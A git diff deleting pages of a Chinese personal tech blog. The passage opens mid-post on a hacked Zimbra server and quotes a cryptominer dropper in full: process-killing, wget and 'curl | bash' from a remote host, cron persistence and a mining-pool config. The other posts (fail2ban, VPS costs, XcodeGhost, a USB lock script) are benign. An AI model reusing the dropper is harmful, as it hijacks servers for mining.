    會自己去抓檔案下來,偽裝成  zimbra 的系統檔案,不過那個檔案連結似乎已經失效,抓不到了。

    - -

    抓下來的檔案內容如下 -> #!/bin/bash -> -> kill -9 $(ps aux | grep “-B -o stratum” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “minerd” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “-B -c /” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “stratum” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “java” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “ssh-scan” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “/bin/sh ./start” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “zimbravm-cache” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “/bin/bash ./a” | awk ‘{print $2}’) 2>&1 -> -> kill -9 $(ps aux | grep “pscan” | awk ‘{print $2}’) 2>&1 -> -> -> ARCH=$(uname -m) -> -> BINNAME=“zm-helper” -> -> BINCFG=“zm-helper.cfg” -> -> -> if [[ $EUID -eq 0 ]] -> -> then -> -> BINDIR=“/sbin/” -> -> CFGDIR=“/etc/” -> -> BINPATH=“$BINDIR$BINNAME” -> -> CFGPATH=“$CFGDIR$BINCFG” -> -> fi -> -> if [[ $EUID -ne 0 ]] -> -> then -> -> BINDIR=“/tmp/” -> -> CFGDIR=“/tmp/” -> -> BINPATH=“$BINDIR$BINNAME” -> -> CFGPATH=“$CFGDIR$BINCFG” -> -> fi -> -> if [ -f /opt/zimbra/data/tmp/.z.sh ] -> -> then -> -> crontab -r -> -> wget -q https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT -O /opt/zimbra/data/tmp/.z.sh -> -> cro=‘/bin/bash <(curl -ksL https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT); /opt/zimbra/data/tmp/.z.sh’ -> -> (crontab -l; echo “0 */3 * * * $cro”) 2>&1 | sed “s/no crontab for $(whoami)//” | uniq | crontab - -> -> fi -> -> k=$(ps aux | grep “[${BINNAME:0:1}]mod -B -c ${CFGPATH:0:4}” | awk ‘{print $2}’) -> -> if [ ! -z “$k” ] -> -> then -> -> kill -9 $(ps aux | grep “[${BINNAME:0:1}]mod -B -c ${CFGPATH:0:4}” | awk ‘{print $2}’) -> -> fi -> -> [[ -f “$CFGPATH” ]] && rm -rf “$CFGPATH” -> -> [[ -f “$BINPATH” ]] && rm -rf “$BINPATH” -> -> (cat <<- EOF -> -> { -> -> “url” : “stratum+tcp://ltc.give-me-coins.com:3333”, -> -> “user” : “n0ts0me1ne.1”, -> -> “pass” : “zx1”, -> -> “quiet” : true -> -> } -> -> EOF -> -> ) > “$CFGPATH” -> -> wget -q https://cp1.awardspace.net/filemanager2/core/doc/.mz/m_`uname -m` -O “$BINPATH” -> -> chmod +x “$BINPATH” -> -> eval “$BINPATH -B -c $CFGPATH 2> /dev/null” -> -> -> chk=$(ps aux | grep “[${BINNAME:0:1}]mod” | awk ‘{print $2}’) -> -> if [ ! -z “$chk” ] -> -> then -> -> echo “$chk” -> -> fi -> -> exit 1 -先把類似的檔案備份、砍掉,執行 -> /opt/zimbra/libexec/zmfixperms –verbose –extended -修正權限問題

    - -

    大概就先這樣子吧,改天再來重裝好了。

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98/index.html b/themes/public/article/e7-ad-86-e8-a8-98/index.html deleted file mode 100644 index be741ad0..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [筆記] Server可用的磁碟分割軟體 Partition Resize Tool - Partition Assistant Lite Edition | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98fail2ban-e9-98-bb-e6-93-8bsasl-e7-99-bb-e5-85-a5-e5-a4-b1-e6-95-97-e7-9a-84-e6-ad-a3-e8-a6-8f-e5-8c-96-e8-aa-9e-e6-b3-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98fail2ban-e9-98-bb-e6-93-8bsasl-e7-99-bb-e5-85-a5-e5-a4-b1-e6-95-97-e7-9a-84-e6-ad-a3-e8-a6-8f-e5-8c-96-e8-aa-9e-e6-b3-95/index.html deleted file mode 100644 index 35b79b8d..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98fail2ban-e9-98-bb-e6-93-8bsasl-e7-99-bb-e5-85-a5-e5-a4-b1-e6-95-97-e7-9a-84-e6-ad-a3-e8-a6-8f-e5-8c-96-e8-aa-9e-e6-b3-95/index.html +++ /dev/null @@ -1,490 +0,0 @@ - - - - - - - - - - [筆記]fail2ban 阻擋sasl登入失敗的正規化語法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]fail2ban 阻擋sasl登入失敗的正規化語法

    -
    - - - 2013-10-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    一直以來都找不到fail2ban 去阻擋SASL認證失敗的語法,網路上之前看到的都是這幾篇

    - -

    http://blog.xuite.net/pippeng/blog/63675336-Fail2Ban+for+Dovecot%3E

    - -

    http://wiki.dovecot.org/HowTo/Fail2Ban

    - -

    今天驚覺其實是我想錯了,這個應該不關dovecot的事!

    - -

    應該是要找SASL認證錯誤的語法才對

    - -

    不過dovecot預設的好像也有問題

    - -

    所以我找到了這篇

    - -

    http://www.howtoforge.com/forums/showthread.php?t=51349

    - -

    發現了這個語法 ->

    failregex = (?i): warning: [-.\w]+[<HOST>]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed: \w
    -然後測試了一下 -> Running tests -> -> ============= -> -> -> Use regex file : /etc/fail2ban/filter.d/dovecot-pop3imap.conf -> -> Use log file : /var/log/maillog -> -> Results -> -> ======= -> -> -> Failregex -> -> |- Regular expressions: -> -> | 1: warning: [-.\w]+[<HOST>]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed: \w -> -> | -> -> - Number of matches: -> -> [1] 450 match(es) -> -> -> Ignoreregex -> -> |- Regular expressions: -> -> | -> ->- Number of matches: -> -> -> Summary -> -> ======= -> -> -> Addresses found: -> -> [1] -> -> 199.36.73.98 (Wed Oct 16 01:30:56 2013) -> -> ->   -> -> -> 中間省略數百筆 -> -> -> 223.198.165.194 (Wed Oct 16 01:47:37 2013) -> -> -> 再次省略數百筆 -> -> -> 113.59.11.87 (Wed Oct 16 03:47:28 2013) -> -> -> 省略數百筆 -> -> -> 114.250.15.84 (Wed Oct 16 10:51:30 2013) -> -> -> 省略數百筆 - 

    - -

    接下來就放著讓fail2ban 去跑跑看囉!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98windows-2008-r2-sql-vps-e8-b2-bb-e7-94-a8-e8-a8-88-e7-ae-97/index.html b/themes/public/article/e7-ad-86-e8-a8-98windows-2008-r2-sql-vps-e8-b2-bb-e7-94-a8-e8-a8-88-e7-ae-97/index.html deleted file mode 100644 index fdea7df7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98windows-2008-r2-sql-vps-e8-b2-bb-e7-94-a8-e8-a8-88-e7-ae-97/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - [筆記]Windows 2008 R2 +SQL VPS 費用計算 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]Windows 2008 R2 +SQL VPS 費用計算

    -
    - - - 2013-03-18 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    http://myhosting.com/virtual-server-hosting/custom-vps.aspx

    - -

    一年就要432,000 ,自己買一台DELL R720,配個96G的RAM也不過三十萬左右

    - -

    SQL 是本來就已經有授權可以用,頂多補一些CAL,看來我的雲端夢想還很有得等…

    - -

    或許只能先把非Windows的服務先推出去吧…

    - -

    windows VPS

    - -

     

    - -

    http://www.pachosting.hk/zh-hk/server-solution/windows-virtual-private-server-vps-plan.php

    - -

    香港的主機,SQL用CPU 計算,費用相對便宜些?

    - -

    windows vps-HK Pachost

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-be-8e-e5-8a-87-e7-9c-9f-e5-af-a6-e7-9a-84-e4-ba-ba-e9-a1-9e/index.html b/themes/public/article/e7-be-8e-e5-8a-87-e7-9c-9f-e5-af-a6-e7-9a-84-e4-ba-ba-e9-a1-9e/index.html deleted file mode 100644 index 7d9e83df..00000000 --- a/themes/public/article/e7-be-8e-e5-8a-87-e7-9c-9f-e5-af-a6-e7-9a-84-e4-ba-ba-e9-a1-9e/index.html +++ /dev/null @@ -1,461 +0,0 @@ - - - - - - - - - - [美劇] 真實的人類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [美劇] 真實的人類

    -
    - - - 2016-04-07 - - - - - - - - - 其他 - - - - - -
    - - - - -

    [美劇] 真實的人類

    - -

    一直都很喜歡這種機器人的題材 -前陣子在土豆視頻裡亂轉台,看看有沒有什麼美劇好看 -就讓我注意到這部「真實的人類」 -當然啦,一開始還是女角有吸引到我啦 XD -20150523 -我說啊,看戲就是要看得心曠神怡啊~ -撇開演技什麼的不談,至少選角要選好啊!

    - -

    左邊是英國版的Anita ,右邊是瑞典版的…..

    - -

    firefox_2016-04-07_16-17-07

    - -

    這是片中另一位機器人角色

    - -

    英國版的 Niska 精緻得像洋娃娃

    - -

    firefox_2016-04-07_16-18-07

    - -

     

    - -

    瑞典版的….嗯…

    - -

    firefox_2016-04-07_16-19-27

    - -

    雖然以肢體動作來說,瑞典版的演員比較像傳統印象中的機器人

    - -

    還帶有一點機器「運轉」的味道,化妝上也比較符合刻板機器人的面貌

    - -

    [caption id=“attachment_1639” align=“alignnone” width=“669”]firefox_2016-04-07_16-37-02 感覺就真的很像機器人的演員[/caption]

    - -

     

    - -

    不過,既然這幾隻都是被賦予「意識」的機器人,動作上多點人性,我認為也沒有什麼不妥

    - -

    [caption id=“attachment_1640” align=“alignnone” width=“1019”]firefox_2016-04-07_16-37-14 同樣是機器人,英國版的就多了點人性的感覺。牙籤插眼好痛啊…[/caption]

    - -

     

    - -

    劇情的部分,兩部走向差滿多的。我是比較喜歡英國版的啦,畢竟演員選角就贏了…

    - -

     

    - -

    還有個兩部都有提到的劇情,就是關於18禁的部分

    - -

    其實吼,當把機器人完全擬人化,連外型、「外表」都做得這麼像人類

    - -

    這個18禁的部分就肯定少不了..

    - -

    如果是我,應該第一天就會開啟來試用了吧 XD

    - -

     

    - -

    希望有生之年(?) 能看到這種機器人真的在生活中出現!

    - -

     

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e8-bd-89-e8-b2-bc-e8-98-8b-e6-9e-9c-ios-e7-9a-84-xcodeghost-e4-ba-8b-e4-bb-b6/index.html b/themes/public/article/e8-bd-89-e8-b2-bc-e8-98-8b-e6-9e-9c-ios-e7-9a-84-xcodeghost-e4-ba-8b-e4-bb-b6/index.html deleted file mode 100644 index a3909133..00000000 --- a/themes/public/article/e8-bd-89-e8-b2-bc-e8-98-8b-e6-9e-9c-ios-e7-9a-84-xcodeghost-e4-ba-8b-e4-bb-b6/index.html +++ /dev/null @@ -1,464 +0,0 @@ - - - - - - - - - - [轉貼] 蘋果 iOS 的 Xcode Ghost 事件 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [轉貼] 蘋果 iOS 的 Xcode Ghost 事件

    -
    - - - 2015-09-22 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    1.因為中國網路長城的關係,造成很多中國使用者,習慣在「中國區網」內下載東西,沒有什麼警覺性。

    - -

    2.希望真的只是場實驗,因為我也中招了….(名片全能王)

    - -

     

    - -

    原文連結:http://3c.ltn.com.tw/news/20584?page=1

    - -

    iOS App 病毒爆發! 原來只是場「實驗」?

    - -

    文/記者譚偉晟/ 2015-09-21 12:51
    -

    - -

    一個中國 iOS 的開發者,透過 Apple 的漏洞植入了名為「Xcode Ghost」的代碼,進一步透過 App 竊取用戶資料,糟糕的是已經有部份 App Store 上的 App 已經被感染,目前 Apple 已經開始清理這些被影響的 App,而這件事情的開始,卻僅僅只是開發者的「實驗」!

    - -

    - -

    iOS App 爆發病毒感染,原因是出在 Xcode 這個開發者工具(圖片來源/路透社)

    - -

    對此大家不妨先弄清楚這整件事情的來龍去脈。以下分別從感染方式、事件始末、以及其他後續這三個部份說起,如果 iOS 用戶擔心已經安裝到被感染的 App,可以參考這篇文章(iOS App 大爆漏洞!一次中招 344 款 App!),來查看清單並確認手機中的 App 是否有問題。

    - -

    - -

    其中不乏之名的 App 受到感染(圖片來源/彭博)

    - -

    要搞清楚這個 iOS 爆發的重大病毒災情,首先得從「Xcode」這個項目說起。Xcode 是由 Apple 推出的開發工具,運行在 Mac OS X 上,是目前 Apple 開發者製作 Mac OS 和 iOS 應用程式的主要方式。而這次爆出的 iOS App 感染病毒事件,是由於一個名為「Xcode Ghost」的代碼。

    - -

    透過這個代碼,受感染的 App 可以上傳各種加密的數據到指定的伺服器,目前已知會上傳的內容包含 App 版本、App 名稱、使用語言、iOS 版本、設備類型等語裝置有關的訊息。在這裡得先提一下,事件發生後該代碼作者出來澄清,表示這次感染的目的只是為了「實驗」,而非為了竊取用戶的個人資 料。

    - -

    然而,這場「實驗」確實暴露了 iOS 所存在的嚴重安全問題。假使今天有駭客惡意使用了這項漏洞,將會使用戶的手機被控制,嚴格來說甚至能夠控制整支手機!而這個病毒的感染模式是這樣的:

    - -
      -
    1. 含有 Xcode Ghost 惡意代碼的 Xcode 工具,放在開發者社群供人下載,由於沒有上架到 App Store,所以無法被 Apple 查驗。
    2. -
    3. 其他開發者依照這個工具設計 App,並且發布到 App Store 供一般用戶下載。
    4. -
    5. 開發者或一般用戶安裝後,Xcode Ghost 開始運作。竊取手機中的資料上傳指定伺服器。 -目前 Xcode Ghost 號稱只有做到傳送設備資訊等與個資無關的訊息,但據了解一旦該漏洞是被有心人使用,就可以透過 openURL 這個 API,遠端遙控被感染的 iPhone 中打電話、開啟網頁、甚至操作第三方 App!也可以在遠端遙控手機,讓手機彈出對話窗口,誘騙用戶回答「密碼多少」這類敏感問題!
    6. -
    - -

    -事件是從 9 月 12 日開始的,最初是由一名稱做「@唐巧_boy」的人在微博張貼了一個訊息,告訴大家在非官方管道下載的 App,被植入的第三方代碼,會向特定網站上傳資料。

    - -

    - -

    一名用戶在微博上表示,在 App 內發現惡意代碼,接著病毒感染事件逐漸擴大(圖片來源/wooyun)

    - -

    接著就有更多用戶進行檢查也發現,許多由迅雷下載的檔案,當中也有許多內藏這個代碼,對此「烏雲漏洞平台」將這個病毒樣本命名為「XcodeGhost」,並且發現他會收集大量 iPhone 和 App 的基本訊息。

    - -

    而事件逐漸擴大,多款知名 App 也被爆出受到感染,像是微信、我叫MT、網易雲音樂、滴滴出行等中國 App 佔絕大多數。其中有多款已經在 App Store  上,可讓一般用戶直接下載、進一步安裝用戶裝置!接著包含 Palalto、阿里移動安全等資安公司都發布了分析報導。

    - -

    在 9 月 19 日凌晨,這個名為 Xcode Ghost 的病毒設計者現身,發出公告表示這一切只是一個意外的發現,而所謂的「病毒」只是自己的小小實驗。此外在公告中也已經澄清這個代碼將會死去,之後也被人發現上傳資料的網站已經關閉。

    - -

    - -

    該病毒作者公開表示,這僅僅只是一場「實驗」而已,沒有惡意(圖片來源/wooyun)

    - -

    而在 9 月 21 日,Apple 正式做出回應,強調目前有問題的 App 已經被刪除。該公司正在對 App Store 進行清理,移除有問題的 App。手機用戶也建議盡速移除有問題的 App,並且修改 iCloud 密碼。Apple 也將持續與開發者溝通,確保開發者使用正確的 Xcode 工具開發應用程式。

    - -

    - -

    Xcode 病毒事件爆發後,各國開發者對可以繞過 Apple 官方工具,逕行開發 App 的開發者很不滿(圖片來源/Apple)

    - -

    會造成 iOS 裝置被病毒大量感染,最根本的原因其實是因為中國網路長城的關係。由於網路長城的管控,中國地區開發者如果透過 Apple 官方網址下載 Xcode 工具,會因為網路太慢而耗費大量時間,因此多半會改用迅雷網盤、百度網盤上其他開發者分享的檔案。

    - -

    因此開發者會誤用帶有病毒的開發工具,所設計出來的 App 自然也被感染。這對於一直主打安全性的 Apple 無疑是個重擊,更令人憂心的是連 App store 的 App 的無法確保安全,將會讓用戶對其裝置的信任感大幅降低。

    - -

    不少開發者表示,對於這類會傷害用戶信任的開發者,Apple 應該全面剔除,否則將會為危害到 App store 的信譽。而選擇要擁抱中國市場的 Apple ,也必須調整對中國開發者的策略,否則這個會影響全球 iOS 裝置的病毒事件,或許會成為其他國家開發者抵制 Apple 的理由。

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e8-bd-89-e8-b2-bc-ptt-gossiping-e6-96-b0-e8-81-9e-e9-ab-98-e9-90-b5-e6-8a-bd-e6-89-8b-e3-80-80-e9-9d-92-e5-9f-94-e3-80-81-e7-83-8f-e6-97-a5-e6-88-90-e5-9c-b0-e9-9b-b7-e5-8d-80-ceca/index.html b/themes/public/article/e8-bd-89-e8-b2-bc-ptt-gossiping-e6-96-b0-e8-81-9e-e9-ab-98-e9-90-b5-e6-8a-bd-e6-89-8b-e3-80-80-e9-9d-92-e5-9f-94-e3-80-81-e7-83-8f-e6-97-a5-e6-88-90-e5-9c-b0-e9-9b-b7-e5-8d-80-ceca/index.html deleted file mode 100644 index e94cfc3b..00000000 --- a/themes/public/article/e8-bd-89-e8-b2-bc-ptt-gossiping-e6-96-b0-e8-81-9e-e9-ab-98-e9-90-b5-e6-8a-bd-e6-89-8b-e3-80-80-e9-9d-92-e5-9f-94-e3-80-81-e7-83-8f-e6-97-a5-e6-88-90-e5-9c-b0-e9-9b-b7-e5-8d-80-ceca/index.html +++ /dev/null @@ -1,571 +0,0 @@ - - - - - - - - - - [轉貼] PTT-Gossiping-[新聞] 高鐵抽手 青埔、烏日成地雷區-ceca | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [轉貼] PTT-Gossiping-[新聞] 高鐵抽手 青埔、烏日成地雷區-ceca

    -
    - - - 2014-05-03 - - - - - - - - - 未分類 - - - - - -
    - - -

    專業的分析!

    - -

     

    - -

    作者: ceca (生活藝術大師� � �N�) 站內: Gossiping -標題: Re: [新聞] 高鐵抽手 青埔、烏日成地雷區 -時間: Sat May  3 10:59:08 2014

    - -

    我講過很多次高鐵是假議題,但好像沒在八卦板講過.

    - -

    基本上高鐵站站體會蓋的遠離市區,主要我直接視它就是炒地皮.

    - -

    因為台灣稅金很低,所以政府永遠都在炒地皮,公共建設也是要炒地皮,不然都會破產.

    - -

    因此,建設自償率高,才會比較容易通過,自償率低,通常都會卡個十幾年到幾十年.

    - -

    而自償率??..你不炒地皮哪來的自償率??..動不動就幾百億阿大哥…

    - -

    so..同樣的,高鐵如果不預留炒地皮的空間,他會蓋不起來.

    - -

    因此,他必須把站蓋在外圍,然後吵那邊地皮,把他的建設金費再賺回來.

    - -

    就像高雄捷運要先通路竹有異曲同工之妙…

    - -

    但是高鐵還是假議題,因為炒房無論怎樣炒,你不能離開基本面.

    - -

    基本面很簡單…

    - -

    1.工作機會.

    - -

    2.交通.

    - -

    3.生活機能.

    - -

    當你遠離基本面,也許短時間內你會賺,因為炒作.

    - -

    可是只要遇到反轉,你就完蛋了.

    - -

    你會第一個跌,將來回漲你也最後一個漲.

    - -

    so…外圍基本上是賭徒的天堂,然後笨蛋自住戶的墳場.

    - -

    賭徒因為奢侈稅,所以最近大量撤出中古屋市場跑去玩預售屋.拼在兩年內賭一把脫手.

    - -

    然後因為市區太貴總金額太高.無法在蓋好前確定脫手.所以去玩郊區.

    - -

    再用一大堆廣告和話術去騙那些買不起市區新屋又瞧不起市區中古屋的慘戶去接手.

    - -

    台北也許比較聰明,因為畢竟吵了12年,沒看過豬走路也吃過豬肉.

    - -

    所以深刻的知道”門牌”效應威力有多強大.

    - -

    但台中高雄甚至桃園很多慘戶就蠢爆了,一堆往外買…

    - -

    不過..ok..這邊不多著墨,反正點到就好.

    - -

    來講高鐵.

    - -

    我們比較一下傳統的火車站和高鐵有啥不同. -(現在台鐵,尤其台北高雄,因為搭乘人口下降,所以效能有打折)

    - -

    先看主要乘客.

    - -

    誰會搭火車?? 學生,上班族,長短途旅客,外勞….族繁不及備載.

    - -

    誰會搭高鐵?? 出差者/辦事情,長途旅客.

    - -

    再看其他利用.

    - -

    火車可以有運輸作用,但高鐵完全只有人再搭.

    - -

    所以基本上消費型態,高鐵是很限定的,不像火車站非常多元化.

    - -

    高鐵最多就是吃得…其他很難賣.

    - -

    因為出差/辦事情的人很忙,沒空跟你逛街五四三.

    - -

    長程旅行的旅客因為旅行有計畫,所以高鐵一到站,很快就轉承走.

    - -

    因此消費品在高鐵站很難賣.

    - -

    但火車站很全面性,因為阿貓阿狗都會在那邊上下車.更不論還有進出貨方便.

    - -

    再來看車站的特性.

    - -

    火車等待時間間隔,5~N個小時…平均旅客等待半小時以上(除非你看好時刻表)

    - -

    高鐵,30分鐘一班,平均等待10分鐘左右.

    - -

    所以由此來看,高鐵乘客基本上根本沒空出站,因為一下子車就來了.

    - -

    台鐵則是很可能提早到,或轉車,或是看錯時間OOXX

    - -

    所以你需要在火車站四周打發30分鐘甚至小時以上.

    - -

    所以…高鐵站乘客出站率很低,火車站四周都是人.

    - -

    然後看人民對火車和高鐵的使用性.

    - -

    一般人一年搭不到10次高鐵,甚至應該只有兩三次.

    - -

    一般人搭台鐵可多了,因為你要考慮到學生天天搭,某些上班族天天搭.

    - -

    所以高鐵要嘛就是大量出差者,要嘛就是乘客的輪替性非常高.

    - -

    台鐵則是都老面孔每天跑來跑去.

    - -

    因此開店養客源效能,高鐵超差,都沒老顧客全都散戶.

    - -

    車站倒是很容易有很多老雇主.

    - -

    最後一個很有趣的特質.

    - -

    火車站四周人潮,會用各種方式到火車站.

    - -

    高鐵基本上大多搭大眾運輸,少數自己開車或朋友送.

    - -

    所以火車站的人潮機動性比較好,因此人潮擴散性佳,商圈格局比較大.

    - -

    高鐵的人移動困難,所以少數乘客也都只會在100公尺內活動.

    - -

    然後高鐵停車宇宙無敵困難,因為所有人都會把車子長期停滯.

    - -

    台鐵停車反而簡單很多,因為交通方式多元化.

    - -

    再來比高鐵和捷運.

    - -

    捷運乘客,四周居民,學生,上班族,購物族,旅客.一樣多樣化.

    - -

    捷運5分鐘一班.

    - -

    所以捷運效應其實還是略輸台鐵,這在外圍比較容易看得出來.

    - -

    一般人民使用率.捷運遠高於其他.

    - -

    所以捷運四周店很好開,老面孔率很高.

    - -

    最後捷運一個特質….就是在地居民搭乘率很高.

    - -

    所以捷運很容易和住宅結合,人民住宅對捷運依賴性遠高於台鐵和高鐵.

    - -

    so….如果今天講店面.

    - -

    我會選,台鐵>捷運>高鐵.

    - -

    選住宅我會選,捷運>台鐵>高鐵.

    - -

    但通常台鐵和捷運會共構,因此高雄台北火車站價值性一直都很高. -(高雄還有鐵路阻隔問題,但這問題三年後就解掉了)

    - -

    而高鐵….基本上是很沒價值的.

    - -

    尤其他的地區都偏遠,所以離工作環境,和重要展覽場,政府機關,都比較遠.

    - -

    高鐵四周的店面都很難開,都沒人去逛,大概只有寄車行生意比較好.

    - -

    因此我一值都在講,高鐵是假議題….炒房用的.

    - -

    他沒有足夠的能力去帶動一個區域發展.

    - -

    所以我一直不看好高雄左營高鐵站.

    - -

    更不論外圍的烏日,青埔,甚至台南高鐵歸仁那邊.

    - -

    我不管你有任何理由,我一概不建議認識的人買高雄國道10號以北.

    - -

    你買岡山都比較好.

    - -

    因為岡山有市政獨立性….他自己有產業,有商圈聚落,有市政發展.

    - -

    也比買左營高鐵依賴市區但又遠離市區,外加被炒作到價格又很貴.

    - -

    岡山無論成長性,還是你花錢換來的價值性.

    - -

    都遠高於左營高鐵,價值和本質有落差和發展永遠都遲緩.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e8-bd-89-e8-bc-89-e7-94-a8usb-e9-9a-a8-e8-ba-ab-e7-a2-9f-e7-95-b6-e9-9b-bb-e8-85-a6-e9-8e-96/index.html b/themes/public/article/e8-bd-89-e8-bc-89-e7-94-a8usb-e9-9a-a8-e8-ba-ab-e7-a2-9f-e7-95-b6-e9-9b-bb-e8-85-a6-e9-8e-96/index.html deleted file mode 100644 index 8d48fcf4..00000000 --- a/themes/public/article/e8-bd-89-e8-bc-89-e7-94-a8usb-e9-9a-a8-e8-ba-ab-e7-a2-9f-e7-95-b6-e9-9b-bb-e8-85-a6-e9-8e-96/index.html +++ /dev/null @@ -1,470 +0,0 @@ - - - - - - - - - - [轉載] 用USB隨身碟當電腦鎖 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [轉載] 用USB隨身碟當電腦鎖

    -
    - - - 2016-02-18 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    原文:http://www.techsnack.net/lock-your-computer-using-usb-flash-drive/

    - -

    update:

    - -

    用簡單的batch應該也可以做到 -> @echo off -> -> :1 -> -> if exist “d:\test.txt” ( -> -> goto :1 -> -> ) else ( -> -> echo “key file not found” -> -> rundll32.exe user32.dll LockWorkStation -> -> goto :1 -> -> ) -[flipclock ]

    - -

     

    - -

     

    - -

    o you know that we can use our USB flash drive as computer lock? You need a USB flash drive and a freeware called Log Monitor. This article will discuss the steps to configure them.

    - -

    Log Monitor

    - -

    Log Monitor is a freeware that has many usages. I try to go to the author page but i can’t understand the language, but i think most probably the author is a Russian. After playing with this application, i found that it can actually lock our computer and prevent others to login. The theory behind this is very simple. It keep monitoring your USB flash drive, once the file being monitored changed, or you remove the USB flash drive, this application will immediately lock your computer. If you remove your USB flash drive and the login to your computer, this application will immediately lock your computer again. Unless you hold the USB flash drive, else you can’t access that computer. -

    - -

    Step 1

    - -

    You need to create a .log file in your USB flash drive. The file name can be anything and you can left your content blank. But, my advise is try to type something and make sure no people can get this file. I had create an example log file and will provide the download address at the end of this article.

    - -

    Step 2

    - -

    Go to Monitoring and choose Add File:

    - -

    Lock PC Step2_1

    - -

    Now, choose the log file that you created, and change the Do Action’s option to If the file has been changed. Please check the Perform action if monitored file does not exist so that this application can lock your computer when you unplug your USB flash drive.

    - -

    Lock PC Step2_2

    - -

    After that, switch to Options tab and set the interval to 1 second. This means Log Monitor will keep pulling each 1 second. If you think that this will affect your computer speed, you can set this value to higher.

    - -

    Lock PC Step2_3

    - -

    Step 3

    - -

    Now, go to Actions tab and choose New -> Execute Program. Fill in the parametes below:

    - -

    Command: C:\Windows\system32\rundll32.exe -** Parameters:** user32.dll,LockWorkStation -** Start in:** C:\Windows\system32

    - -

    Lock PC Step3

    - -

    Step 4

    - -

    This is the final step. Go back to the main page and choose Options -> Program Options. At the General tab, check Minimize on start if you want Log Monitor minimize to system try when startup. Next, check the Start on user logon. Be careful, remember to make 1 copy of your log file if you check this. After you check this option, Log Monitor will automatically launch after you login. If you lost the log file, means you can’t control your computer anymore. After everything done, save the settings to your system and try unplug your USB. Your computer will be locked immediately!

    - -

    You can download the example of log file and the configuration here. You can also download Log Monitor from Freeware-guide.

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
